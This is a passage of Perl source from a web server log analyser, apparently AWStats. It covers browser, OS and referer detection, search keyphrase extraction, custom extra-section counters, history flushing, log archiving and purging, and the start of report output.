$_browser_h{"opera".($1||$2)}++;
if ($PageBool) { $_browser_p{"opera".($1||$2)}++; }
$TmpBrowser{$UserAgent} = "opera".($1||$2);
}
# Firefox ?
elsif ( $UserAgent =~ /$regverfirefox/o
&& $UserAgent !~ /$regnotfirefox/o )
{
$_browser_h{"firefox$1"}++;
if ($PageBool) { $_browser_p{"firefox$1"}++; }
$TmpBrowser{$UserAgent} = "firefox$1";
}
# Chrome ?
elsif ( $UserAgent =~ /$regverchrome/o ) {
$_browser_h{"chrome$1"}++;
if ($PageBool) { $_browser_p{"chrome$1"}++; }
$TmpBrowser{$UserAgent} = "chrome$1";
}
# Safari ?
elsif ($UserAgent =~ /$regversafari/o
&& $UserAgent !~ /$regnotsafari/o )
{
my $safariver = $BrowsersSafariBuildToVersionHash{$1};
if ( $UserAgent =~ /$regversafariver/o ) {
$safariver = $1;
}
$_browser_h{"safari$safariver"}++;
if ($PageBool) { $_browser_p{"safari$safariver"}++; }
$TmpBrowser{$UserAgent} = "safari$safariver";
}
# Konqueror ?
elsif ( $UserAgent =~ /$regverkonqueror/o ) {
$_browser_h{"konqueror$1"}++;
if ($PageBool) { $_browser_p{"konqueror$1"}++; }
$TmpBrowser{$UserAgent} = "konqueror$1";
}
# Subversion ?
elsif ( $UserAgent =~ /$regversvn/o ) {
$_browser_h{"svn$1"}++;
if ($PageBool) { $_browser_p{"svn$1"}++; }
$TmpBrowser{$UserAgent} = "svn$1";
}
# IE < 11 ? (must be at end of test)
elsif ($UserAgent =~ /$regvermsie/o
&& $UserAgent !~ /$regnotie/o )
{
$_browser_h{"msie$2"}++;
if ($PageBool) { $_browser_p{"msie$2"}++; }
$TmpBrowser{$UserAgent} = "msie$2";
}
# IE >= 11
elsif ($UserAgent =~ /$regvermsie11/o && $UserAgent !~ /$regnotie/o)
{
$_browser_h{"msie$2"}++;
if ($PageBool) { $_browser_p{"msie$2"}++; }
$TmpBrowser{$UserAgent} = "msie$2";
}
# Netscape 6.x, 7.x ... ? (must be at end of test)
elsif ( $UserAgent =~ /$regvernetscape/o ) {
$_browser_h{"netscape$1"}++;
if ($PageBool) { $_browser_p{"netscape$1"}++; }
$TmpBrowser{$UserAgent} = "netscape$1";
}
# Netscape 3.x, 4.x ... ? (must be at end of test)
elsif ($UserAgent =~ /$regvermozilla/o
&& $UserAgent !~ /$regnotnetscape/o )
{
$_browser_h{"netscape$2"}++;
if ($PageBool) { $_browser_p{"netscape$2"}++; }
$TmpBrowser{$UserAgent} = "netscape$2";
}
# Other known browsers ?
else {
$found = 0;
foreach (@BrowsersSearchIDOrder)
{ # Search ID in order of BrowsersSearchIDOrder
if ( $UserAgent =~ /$_/ ) {
my $browser = &UnCompileRegex($_);
# TODO If browser is in a family, use version
$_browser_h{"$browser"}++;
if ($PageBool) { $_browser_p{"$browser"}++; }
$TmpBrowser{$UserAgent} = "$browser";
$found = 1;
last;
}
}
}
# Unknown browser ?
if ( !$found ) {
$_browser_h{'Unknown'}++;
if ($PageBool) { $_browser_p{'Unknown'}++; }
$TmpBrowser{$UserAgent} = 'Unknown';
my $newua = $UserAgent;
$newua =~ tr/\+ /__/;
$_unknownrefererbrowser_l{$newua} = $timerecord;
}
}
else {
$_browser_h{$uabrowser}++;
if ($PageBool) { $_browser_p{$uabrowser}++; }
if ( $uabrowser eq 'Unknown' ) {
my $newua = $UserAgent;
$newua =~ tr/\+ /__/;
$_unknownrefererbrowser_l{$newua} = $timerecord;
}
}
}
if ($LevelForOSDetection) {
# Analyze: OS
#------------
my $uaos = $TmpOS{$UserAgent};
if ( !$uaos ) {
my $found = 0;
# in OSHashID list ?
foreach (@OSSearchIDOrder)
{ # Search ID in order of OSSearchIDOrder
if ( $UserAgent =~ /$_/ ) {
my $osid = $OSHashID{ &UnCompileRegex($_) };
$_os_h{"$osid"}++;
if ($PageBool) { $_os_p{"$osid"}++; }
$TmpOS{$UserAgent} = "$osid";
$found = 1;
last;
}
}
# Unknown OS ?
if ( !$found ) {
$_os_h{'Unknown'}++;
if ($PageBool) { $_os_p{'Unknown'}++; }
$TmpOS{$UserAgent} = 'Unknown';
my $newua = $UserAgent;
$newua =~ tr/\+ /__/;
$_unknownreferer_l{$newua} = $timerecord;
}
}
else {
$_os_h{$uaos}++;
if ($PageBool) {
$_os_p{$uaos}++;
}
if ( $uaos eq 'Unknown' ) {
my $newua = $UserAgent;
$newua =~ tr/\+ /__/;
$_unknownreferer_l{$newua} = $timerecord;
}
}
}
}
else {
$_browser_h{'Unknown'}++;
$_os_h{'Unknown'}++;
if ($PageBool) {
$_browser_p{'Unknown'}++;
$_os_p{'Unknown'}++;
}
}
# Analyze: Referer
#-----------------
my $found = 0;
if ( $pos_referer >= 0
&& $LevelForRefererAnalyze
&& $field[$pos_referer] )
{
# Direct ?
if ( $field[$pos_referer] eq '-'
|| $field[$pos_referer] eq 'bookmarks' )
{ # "bookmarks" is sent by Netscape, '-' by all others browsers
# Direct access
if ($PageBool) {
if ($ShowDirectOrigin) {
print "Direct access for line $line\n";
}
$_from_p[0]++;
}
$_from_h[0]++;
$found = 1;
}
else {
$field[$pos_referer] =~ /$regreferer/o;
my $refererprot = $1;
my $refererserver =
( $2 || '' )
. ( !$3 || $3 eq ':80' ? '' : $3 )
; # refererserver is www.xxx.com or www.xxx.com:81 but not www.xxx.com:80
# HTML link ?
if ( $refererprot =~ /^http/i ) {
#if ($Debug) { debug(" Analyze referer refererprot=$refererprot refererserver=$refererserver",5); }
# Kind of origin
if ( !$TmpRefererServer{$refererserver} )
{ # TmpRefererServer{$refererserver} is "=" if same site, "search egine key" if search engine, not defined otherwise
if ( $refererserver =~ /$reglocal/o ) {
# Intern (This hit came from another page of the site)
if ($Debug) {
debug(
" Server '$refererserver' is added to TmpRefererServer with value '='",
2
);
}
$TmpRefererServer{$refererserver} = '=';
$found = 1;
}
else {
foreach (@HostAliases) {
if ( $refererserver =~ /$_/ ) {
# Intern (This hit came from another page of the site)
if ($Debug) {
debug(
" Server '$refererserver' is added to TmpRefererServer with value '='",
2
);
}
$TmpRefererServer{$refererserver} = '=';
$found = 1;
last;
}
}
if ( !$found ) {
# Extern (This hit came from an external web site).
if ($LevelForSearchEnginesDetection) {
foreach (@SearchEnginesSearchIDOrder)
{ # Search ID in order of SearchEnginesSearchIDOrder
if ( $refererserver =~ /$_/ ) {
my $key = &UnCompileRegex($_);
if (
!$NotSearchEnginesKeys{$key}
|| $refererserver !~
/$NotSearchEnginesKeys{$key}/i
)
{
# This hit came from the search engine $key
if ($Debug) {
debug(
" Server '$refererserver' is added to TmpRefererServer with value '$key'",
2
);
}
$TmpRefererServer{
$refererserver} =
$SearchEnginesHashID{ $key
};
$found = 1;
}
last;
}
}
}
}
}
}
my $tmprefererserver =
$TmpRefererServer{$refererserver};
if ($tmprefererserver) {
if ( $tmprefererserver eq '=' ) {
# Intern (This hit came from another page of the site)
if ($PageBool) { $_from_p[4]++; }
$_from_h[4]++;
$found = 1;
}
else {
# This hit came from a search engine
if ($PageBool) {
$_from_p[2]++;
$_se_referrals_p{$tmprefererserver}++;
}
$_from_h[2]++;
$_se_referrals_h{$tmprefererserver}++;
$found = 1;
if ( $PageBool && $LevelForKeywordsDetection ) {
# we will complete %_keyphrases hash array
my @refurl =
split( /\?/, $field[$pos_referer], 2 )
; # TODO Use \? or [$URLQuerySeparators] ?
if ( $refurl[1] ) {
# Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...)
if (
$SearchEnginesKnownUrl{
$tmprefererserver} )
{ # Search engine with known URL syntax
foreach my $param (
split(
/&/,
$KeyWordsNotSensitive
? lc( $refurl[1] )
: $refurl[1]
)
)
{
if ( $param =~
s/^$SearchEnginesKnownUrl{$tmprefererserver}//
)
{
# We found good parameter
# Now param is keyphrase: "cache:mmm:www/zzz+aaa+bbb/ccc+ddd%20eee'fff,ggg"
$param =~
s/^(cache|related):[^\+]+//
; # Should be useless since this is for hit on 'not pages'
&ChangeWordSeparatorsIntoSpace
($param)
; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg]
$param =~ s/^ +//;
$param =~ s/ +$//; # Trim
$param =~ tr/ /\+/s;
if ( ( ( length $param ) > 0 ) and ( ( length $param ) < 80 ) )
{
$_keyphrases{$param}++;
}
last;
}
}
}
elsif (
$LevelForKeywordsDetection >= 2 )
{ # Search engine with unknown URL syntax
foreach my $param (
split(
/&/,
$KeyWordsNotSensitive
? lc( $refurl[1] )
: $refurl[1]
)
)
{
my $foundexcludeparam = 0;
foreach my $paramtoexclude (
@WordsToCleanSearchUrl)
{
if ( $param =~
/$paramtoexclude/i )
{
$foundexcludeparam = 1;
last;
} # Not the param with search criteria
}
if ($foundexcludeparam) {
next;
}
# We found good parameter
$param =~ s/.*=//;
# Now param is keyphrase: "aaa+bbb/ccc+ddd%20eee'fff,ggg"
$param =~
s/^(cache|related):[^\+]+//
; # Should be useless since this is for hit on 'not pages'
&ChangeWordSeparatorsIntoSpace(
$param)
; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ]
$param =~ s/^ +//;
$param =~ s/ +$//; # Trim
$param =~ tr/ /\+/s;
if ( ( length $param ) > 2 ) {
$_keyphrases{$param}++;
last;
}
}
}
} # End of elsif refurl[1]
elsif (
$SearchEnginesWithKeysNotInQuery{
$tmprefererserver} )
{
# debug("xxx".$refurl[0]);
# If search engine with key inside page url like a9 (www.a9.com/searchkey1%20searchkey2)
if ( $refurl[0] =~
/$SearchEnginesKnownUrl{$tmprefererserver}(.*)$/
)
{
my $param = $1;
&ChangeWordSeparatorsIntoSpace(
$param);
$param =~ tr/ /\+/s;
if ( ( length $param ) > 0 ) {
$_keyphrases{$param}++;
}
}
}
}
}
} # End of if ($TmpRefererServer)
else {
# This hit came from a site other than a search engine
if ($PageBool) { $_from_p[3]++; }
$_from_h[3]++;
# http://www.mysite.com/ must be same referer than http://www.mysite.com but .../mypage/ differs of .../mypage
#if ($refurl[0] =~ /^[^\/]+\/$/) { $field[$pos_referer] =~ s/\/$//; } # Code moved in Save_History
# TODO: lowercase the value for referer server to have refering server not case sensitive
if ($URLReferrerWithQuery) {
if ($PageBool) {
$_pagesrefs_p{ $field[$pos_referer] }++;
}
$_pagesrefs_h{ $field[$pos_referer] }++;
}
else {
# We discard query for referer
if ( $field[$pos_referer] =~
/$regreferernoquery/o )
{
if ($PageBool) { $_pagesrefs_p{"$1"}++; }
$_pagesrefs_h{"$1"}++;
}
else {
if ($PageBool) {
$_pagesrefs_p{ $field[$pos_referer] }++;
}
$_pagesrefs_h{ $field[$pos_referer] }++;
}
}
$found = 1;
}
}
# News Link ?
#if (! $found && $refererprot =~ /^news/i) {
# $found=1;
# if ($PageBool) { $_from_p[5]++; }
# $_from_h[5]++;
#}
}
}
# Origin not found
if ( !$found ) {
if ($ShowUnknownOrigin) {
print "Unknown origin: $field[$pos_referer]\n";
}
if ($PageBool) { $_from_p[1]++; }
$_from_h[1]++;
}
# Analyze: EMail
#---------------
if ( $pos_emails >= 0 && $field[$pos_emails] ) {
if ( $field[$pos_emails] eq '<>' ) {
$field[$pos_emails] = 'Unknown';
}
elsif ( $field[$pos_emails] !~ /\@/ ) {
$field[$pos_emails] .= "\@$SiteDomain";
}
$_emails_h{ lc( $field[$pos_emails] ) }
++; #Count accesses for sender email (hit)
if ($pos_size>0){$_emails_k{ lc( $field[$pos_emails] ) } +=
int( $field[$pos_size] )
;} #Count accesses for sender email (kb)
$_emails_l{ lc( $field[$pos_emails] ) } = $timerecord;
}
if ( $pos_emailr >= 0 && $field[$pos_emailr] ) {
if ( $field[$pos_emailr] !~ /\@/ ) {
$field[$pos_emailr] .= "\@$SiteDomain";
}
$_emailr_h{ lc( $field[$pos_emailr] ) }
++; #Count accesses for receiver email (hit)
if ($pos_size>0){$_emailr_k{ lc( $field[$pos_emailr] ) } +=
int( $field[$pos_size] )
;} #Count accesses for receiver email (kb)
$_emailr_l{ lc( $field[$pos_emailr] ) } = $timerecord;
}
}
# Check cluster
#--------------
if ( $pos_cluster >= 0 ) {
if ($PageBool) {
$_cluster_p{ $field[$pos_cluster] }++;
} #Count accesses for page (page)
$_cluster_h{ $field[$pos_cluster] }
++; #Count accesses for page (hit)
if ($pos_size>0){$_cluster_k{ $field[$pos_cluster] } +=
int( $field[$pos_size] );} #Count accesses for page (kb)
}
# Check size frequency
#---------------------
if ( $pos_size >= 0 ) {
$_filesize{ GetBandwidthRange(int($field[$pos_size])) }++;
}
# Analyze: Extra
#---------------
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
if ($Debug) { debug( " Process extra analyze $extranum", 4 ); }
# Check code
my $conditionok = 0;
if ( $ExtraCodeFilter[$extranum] ) {
foreach
my $condnum ( 0 .. @{ $ExtraCodeFilter[$extranum] } - 1 )
{
if ($Debug) {
debug(
" Check code '$field[$pos_code]' must be '$ExtraCodeFilter[$extranum][$condnum]'",
5
);
}
if ( $field[$pos_code] eq
"$ExtraCodeFilter[$extranum][$condnum]" )
{
$conditionok = 1;
last;
}
}
if ( !$conditionok && @{ $ExtraCodeFilter[$extranum] } ) {
next;
} # End for this section
if ($Debug) {
debug(
" No check on code or code is OK. Now we check other conditions.",
5
);
}
}
# Check conditions
$conditionok = 0;
foreach my $condnum ( 0 .. @{ $ExtraConditionType[$extranum] } - 1 )
{
my $conditiontype = $ExtraConditionType[$extranum][$condnum];
my $conditiontypeval =
$ExtraConditionTypeVal[$extranum][$condnum];
if ( $conditiontype eq 'URL' ) {
if ($Debug) {
debug(
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery'",
5
);
}
if ( $urlwithnoquery =~ /$conditiontypeval/ ) {
$conditionok = 1;
last;
}
}
elsif ( $conditiontype eq 'QUERY_STRING' ) {
if ($Debug) {
debug(
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$standalonequery'",
5
);
}
if ( $standalonequery =~ /$conditiontypeval/ ) {
$conditionok = 1;
last;
}
}
elsif ( $conditiontype eq 'URLWITHQUERY' ) {
if ($Debug) {
debug(
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery$tokenquery$standalonequery'",
5
);
}
if ( "$urlwithnoquery$tokenquery$standalonequery" =~
/$conditiontypeval/ )
{
$conditionok = 1;
last;
}
}
elsif ( $conditiontype eq 'REFERER' ) {
if ($Debug) {
debug(
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_referer]'",
5
);
}
if ( $field[$pos_referer] =~ /$conditiontypeval/ ) {
$conditionok = 1;
last;
}
}
elsif ( $conditiontype eq 'UA' ) {
if ($Debug) {
debug(
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_agent]'",
5
);
}
if ( $field[$pos_agent] =~ /$conditiontypeval/ ) {
$conditionok = 1;
last;
}
}
elsif ( $conditiontype eq 'HOSTINLOG' ) {
if ($Debug) {
debug(
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_host]'",
5
);
}
if ( $field[$pos_host] =~ /$conditiontypeval/ ) {
$conditionok = 1;
last;
}
}
elsif ( $conditiontype eq 'HOST' ) {
my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
if ($Debug) {
debug(
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$hosttouse'",
5
);
}
if ( $hosttouse =~ /$conditiontypeval/ ) {
$conditionok = 1;
last;
}
}
elsif ( $conditiontype eq 'VHOST' ) {
if ($Debug) {
debug(
" Check condision '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_vh]'",
5
);
}
if ( $field[$pos_vh] =~ /$conditiontypeval/ ) {
$conditionok = 1;
last;
}
}
elsif ( $conditiontype =~ /extra(\d+)/i ) {
if ($Debug) {
debug(
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_extra[$1]]'",
5
);
}
if ( $field[ $pos_extra[$1] ] =~ /$conditiontypeval/ ) {
$conditionok = 1;
last;
}
}
else {
error(
"Wrong value of parameter ExtraSectionCondition$extranum"
);
}
}
if ( !$conditionok && @{ $ExtraConditionType[$extranum] } ) {
next;
} # End for this section
if ($Debug) {
debug(
" No condition or condition is OK. Now we extract value for first column of extra chart.",
5
);
}
# Determine actual column value to use.
my $rowkeyval;
my $rowkeyok = 0;
foreach my $rowkeynum (
0 .. @{ $ExtraFirstColumnValuesType[$extranum] } - 1 )
{
my $rowkeytype =
$ExtraFirstColumnValuesType[$extranum][$rowkeynum];
my $rowkeytypeval =
$ExtraFirstColumnValuesTypeVal[$extranum][$rowkeynum];
if ( $rowkeytype eq 'URL' ) {
if ( $urlwithnoquery =~ /$rowkeytypeval/ ) {
$rowkeyval = "$1";
$rowkeyok = 1;
last;
}
}
elsif ( $rowkeytype eq 'QUERY_STRING' ) {
if ($Debug) {
debug(
" Extract value from '$standalonequery' with regex '$rowkeytypeval'.",
5
);
}
if ( $standalonequery =~ /$rowkeytypeval/ ) {
$rowkeyval = "$1";
$rowkeyok = 1;
last;
}
}
elsif ( $rowkeytype eq 'URLWITHQUERY' ) {
if ( "$urlwithnoquery$tokenquery$standalonequery" =~
/$rowkeytypeval/ )
{
$rowkeyval = "$1";
$rowkeyok = 1;
last;
}
}
elsif ( $rowkeytype eq 'REFERER' ) {
if ( $field[$pos_referer] =~ /$rowkeytypeval/ ) {
$rowkeyval = "$1";
$rowkeyok = 1;
last;
}
}
elsif ( $rowkeytype eq 'UA' ) {
if ( $field[$pos_agent] =~ /$rowkeytypeval/ ) {
$rowkeyval = "$1";
$rowkeyok = 1;
last;
}
}
elsif ( $rowkeytype eq 'HOSTINLOG' ) {
if ( $field[$pos_host] =~ /$rowkeytypeval/ ) {
$rowkeyval = "$1";
$rowkeyok = 1;
last;
}
}
elsif ( $rowkeytype eq 'HOST' ) {
my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
if ( $hosttouse =~ /$rowkeytypeval/ ) {
$rowkeyval = "$1";
$rowkeyok = 1;
last;
}
}
elsif ( $rowkeytype eq 'VHOST' ) {
if ( $field[$pos_vh] =~ /$rowkeytypeval/ ) {
$rowkeyval = "$1";
$rowkeyok = 1;
last;
}
}
elsif ( $rowkeytype =~ /extra(\d+)/i ) {
if ( $field[ $pos_extra[$1] ] =~ /$rowkeytypeval/ ) {
$rowkeyval = "$1";
$rowkeyok = 1;
last;
}
}
else {
error(
"Wrong value of parameter ExtraSectionFirstColumnValues$extranum"
);
}
}
if ( !$rowkeyok ) { next; } # End for this section
if ( !defined($rowkeyval) ) { $rowkeyval = 'Failed to extract key'; }
if ($Debug) { debug( " Key val found: $rowkeyval", 5 ); }
# Apply function on $rowkeyval
if ( $ExtraFirstColumnFunction[$extranum] ) {
# Todo call function on string $rowkeyval
}
# Here we got all values to increase counters
if ( $PageBool && $ExtraStatTypes[$extranum] =~ /P/i ) {
${ '_section_' . $extranum . '_p' }{$rowkeyval}++;
}
${ '_section_' . $extranum . '_h' }{$rowkeyval}++; # Must be set
if ( $ExtraStatTypes[$extranum] =~ /B/i && $pos_size>0) {
${ '_section_' . $extranum . '_k' }{$rowkeyval} +=
int( $field[$pos_size] );
}
if ( $ExtraStatTypes[$extranum] =~ /L/i ) {
if ( ${ '_section_' . $extranum . '_l' }{$rowkeyval}
|| 0 < $timerecord )
{
${ '_section_' . $extranum . '_l' }{$rowkeyval} =
$timerecord;
}
}
# Check to avoid too large extra sections
if (
scalar keys %{ '_section_' . $extranum . '_h' } >
$ExtraTrackedRowsLimit )
{
error(<<END_ERROR_TEXT);
The number of values found for extra section $extranum has grown too large.
In order to prevent awstats from using an excessive amount of memory, the number
of values is currently limited to $ExtraTrackedRowsLimit. Perhaps you should consider
revising extract parameters for extra section $extranum. If you are certain you
want to track such a large data set, you can increase the limit by setting
ExtraTrackedRowsLimit in your awstats configuration file.
END_ERROR_TEXT
}
}
# Every 20,000 approved lines after a flush, we test to clean too large hash arrays to flush data in tmp file
if ( ++$counterforflushtest >= 20000 ) {
#if (++$counterforflushtest >= 1) {
if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 )
|| ( scalar keys %_url_p ) > $LIMITFLUSH )
{
# warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files.");
if ( $^X =~ /activestate/i || $^X =~ /activeperl/i ) {
# We don't flush if perl is activestate to avoid slowing process because of memory hole
}
else {
# Clean tmp hash arrays
#%TmpDNSLookup = ();
%TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
# We flush if perl is not activestate
print "Flush history file on disk";
if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) ) {
print " (unique hosts reach flush limit of "
. ( $LIMITFLUSH << 2 ) . ")";
}
if ( ( scalar keys %_url_p ) > $LIMITFLUSH ) {
print " (unique url reach flush limit of "
. ($LIMITFLUSH) . ")";
}
print "\n";
if ($Debug) {
debug(
"End of set of $counterforflushtest records: Some hash arrays are too large. We flush and clean some.",
2
);
print " _host_p:"
. ( scalar keys %_host_p )
. " _host_h:"
. ( scalar keys %_host_h )
. " _host_k:"
. ( scalar keys %_host_k )
. " _host_l:"
. ( scalar keys %_host_l )
. " _host_s:"
. ( scalar keys %_host_s )
. " _host_u:"
. ( scalar keys %_host_u ) . "\n";
print " _url_p:"
. ( scalar keys %_url_p )
. " _url_k:"
. ( scalar keys %_url_k )
. " _url_e:"
. ( scalar keys %_url_e )
. " _url_x:"
. ( scalar keys %_url_x ) . "\n";
print " _waithost_e:"
. ( scalar keys %_waithost_e )
. " _waithost_l:"
. ( scalar keys %_waithost_l )
. " _waithost_s:"
. ( scalar keys %_waithost_s )
. " _waithost_u:"
. ( scalar keys %_waithost_u ) . "\n";
}
&Read_History_With_TmpUpdate(
$lastprocessedyear,
$lastprocessedmonth,
$lastprocessedday,
$lastprocessedhour,
1,
1,
"all",
( $lastlinenb + $NbOfLinesParsed ),
$lastlineoffset,
&CheckSum($_)
);
&GetDelaySinceStart(1);
$NbOfLinesShowsteps = 1;
}
}
$counterforflushtest = 0;
}
} # End of loop for processing new record.
if ($Debug) {
debug(
" _host_p:"
. ( scalar keys %_host_p )
. " _host_h:"
. ( scalar keys %_host_h )
. " _host_k:"
. ( scalar keys %_host_k )
. " _host_l:"
. ( scalar keys %_host_l )
. " _host_s:"
. ( scalar keys %_host_s )
. " _host_u:"
. ( scalar keys %_host_u ) . "\n",
1
);
debug(
" _url_p:"
. ( scalar keys %_url_p )
. " _url_k:"
. ( scalar keys %_url_k )
. " _url_e:"
. ( scalar keys %_url_e )
. " _url_x:"
. ( scalar keys %_url_x ) . "\n",
1
);
debug(
" _waithost_e:"
. ( scalar keys %_waithost_e )
. " _waithost_l:"
. ( scalar keys %_waithost_l )
. " _waithost_s:"
. ( scalar keys %_waithost_s )
. " _waithost_u:"
. ( scalar keys %_waithost_u ) . "\n",
1
);
debug(
"End of processing log file (AWStats memory cache is TmpDNSLookup="
. ( scalar keys %TmpDNSLookup )
. " TmpBrowser="
. ( scalar keys %TmpBrowser )
. " TmpOS="
. ( scalar keys %TmpOS )
. " TmpRefererServer="
. ( scalar keys %TmpRefererServer )
. " TmpRobot="
. ( scalar keys %TmpRobot ) . ")",
1
);
}
# Save current processed break section
# If lastprocesseddate > 0 means there is at least one approved new record in log or at least one existing history file
if ( $lastprocesseddate > 0 )
{
# TODO: Do not save if we are sure a flush was just already done
# Get last line
seek( LOG, $lastlineoffset, 0 );
my $line = <LOG>;
chomp $line;
$line =~ s/\r$//;
if ( !$NbOfLinesParsed )
{
# TODO If there was no lines parsed (log was empty), we only update LastUpdate line with YYYYMMDDHHMMSS 0 0 0 0 0
&Read_History_With_TmpUpdate(
$lastprocessedyear, $lastprocessedmonth,
$lastprocessedday, $lastprocessedhour,
1, 1,
"all", ( $lastlinenb + $NbOfLinesParsed ),
$lastlineoffset, &CheckSum($line)
);
}
else {
&Read_History_With_TmpUpdate(
$lastprocessedyear, $lastprocessedmonth,
$lastprocessedday, $lastprocessedhour,
1, 1,
"all", ( $lastlinenb + $NbOfLinesParsed ),
$lastlineoffset, &CheckSum($line)
);
}
}
if ($Debug) { debug("Close log file \"$LogFile\""); }
close LOG || error("Command for pipe '$LogFile' failed");
# Process the Rename - Archive - Purge phase
my $renameok = 1;
my $archiveok = 1;
# Open Log file for writing if PurgeLogFile is on
if ($PurgeLogFile) {
if ($ArchiveLogRecords) {
if ( $ArchiveLogRecords == 1 ) { # For backward compatibility
$ArchiveFileName = "$DirData/${PROG}_archive$FileSuffix.log";
}
else {
$ArchiveFileName =
"$DirData/${PROG}_archive$FileSuffix."
. &Substitute_Tags($ArchiveLogRecords) . ".log";
}
open( LOG, "+<$LogFile" )
|| error(
"Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n"
);
}
else {
open( LOG, "+<$LogFile" );
}
binmode LOG;
}
# Rename all HISTORYTMP files into HISTORYTXT
&Rename_All_Tmp_History();
# Purge Log file if option is on and all renaming are ok
if ($PurgeLogFile) {
# Archive LOG file into ARCHIVELOG
if ($ArchiveLogRecords) {
if ($Debug) { debug("Start of archiving log file"); }
open( ARCHIVELOG, ">>$ArchiveFileName" )
|| error(
"Couldn't open file \"$ArchiveFileName\" to archive log: $!");
binmode ARCHIVELOG;
while (<LOG>) {
if ( !print ARCHIVELOG $_ ) { $archiveok = 0; last; }
}
close(ARCHIVELOG)
|| error("Archiving failed during closing archive: $!");
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
chmod 0666, "$ArchiveFileName";
}
if ($Debug) { debug("End of archiving log file"); }
}
# If rename and archive ok
if ( $renameok && $archiveok ) {
if ($Debug) { debug("Purge log file"); }
my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' );
my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' );
my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
truncate( LOG, 0 )
|| warning(
"Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)."
);
}
close(LOG);
}
if ( $DNSLookup == 1 && $DNSLookupAlreadyDone ) {
# DNSLookup warning
my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' );
my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' );
my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
warning(
"Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed."
);
}
if ( $DNSLookup == 1 && $NbOfNewLines ) {
# Save new DNS last update cache file
Save_DNS_Cache_File( \%TmpDNSLookup, "$DirData/$DNSLastUpdateCacheFile",
"$FileSuffix" ); # Save into file using FileSuffix
}
if ($EnableLockForUpdate) {
# Remove lock
&Lock_Update(0);
# Restore signals handler
$SIG{INT} = 'DEFAULT'; # 2
#$SIG{KILL} = 'DEFAULT'; # 9
#$SIG{TERM} = 'DEFAULT'; # 15
}
}
# End of log processing if ($UPdateStats)
#---------------------------------------------------------------------
# SHOW REPORT
#---------------------------------------------------------------------
if ( scalar keys %HTMLOutput ) {
debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 );
# Define the NewLinkParams for main chart
my $NewLinkParams = ${QueryString};
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
my $NewLinkTarget = '';
if ($DetailedReportsOnNewWindows) {
$NewLinkTarget = " target=\"awstatsbis\"";
}
if ( ( $FrameName eq 'mainleft' || $FrameName eq 'mainright' )
&& $DetailedReportsOnNewWindows < 2 )
{
$NewLinkParams .= "&framename=mainright";
$NewLinkTarget = " target=\"mainright\"";
}
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
if ( $FrameName ne 'mainleft' ) {
# READING DATA
#-------------
&Init_HashArray();
# Lecture des fichiers history / reading history file
if ( $DatabaseBreak eq 'month' ) {
for ( my $ix = 12 ; $ix >= 1 ; $ix-- ) {
my $stringforload = '';
my $monthix = sprintf( "%02s", $ix );
if ( $MonthRequired eq 'all' || $monthix eq $MonthRequired ) {
$stringforload = 'all'; # Read full history file
}
elsif ( ( $HTMLOutput{'main'} && $ShowMonthStats )
|| $HTMLOutput{'alldays'} )
{
$stringforload =
'general time'; # Read general and time sections.
}
if ($stringforload) {
# On charge fichier / file is loaded
&Read_History_With_TmpUpdate( $YearRequired, $monthix, '',
'', 0, 0, $stringforload );
}
}
}
if ( $DatabaseBreak eq 'day' ) {
my $stringforload = 'all';
my $monthix = sprintf( "%02s", $MonthRequired );
my $dayix = sprintf( "%02s", $DayRequired );
&Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, '',
0, 0, $stringforload );
}
if ( $DatabaseBreak eq 'hour' ) {
my $stringforload = 'all';
my $monthix = sprintf( "%02s", $MonthRequired );
my $dayix = sprintf( "%02s", $DayRequired );
my $hourix = sprintf( "%02s", $HourRequired );
&Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix,
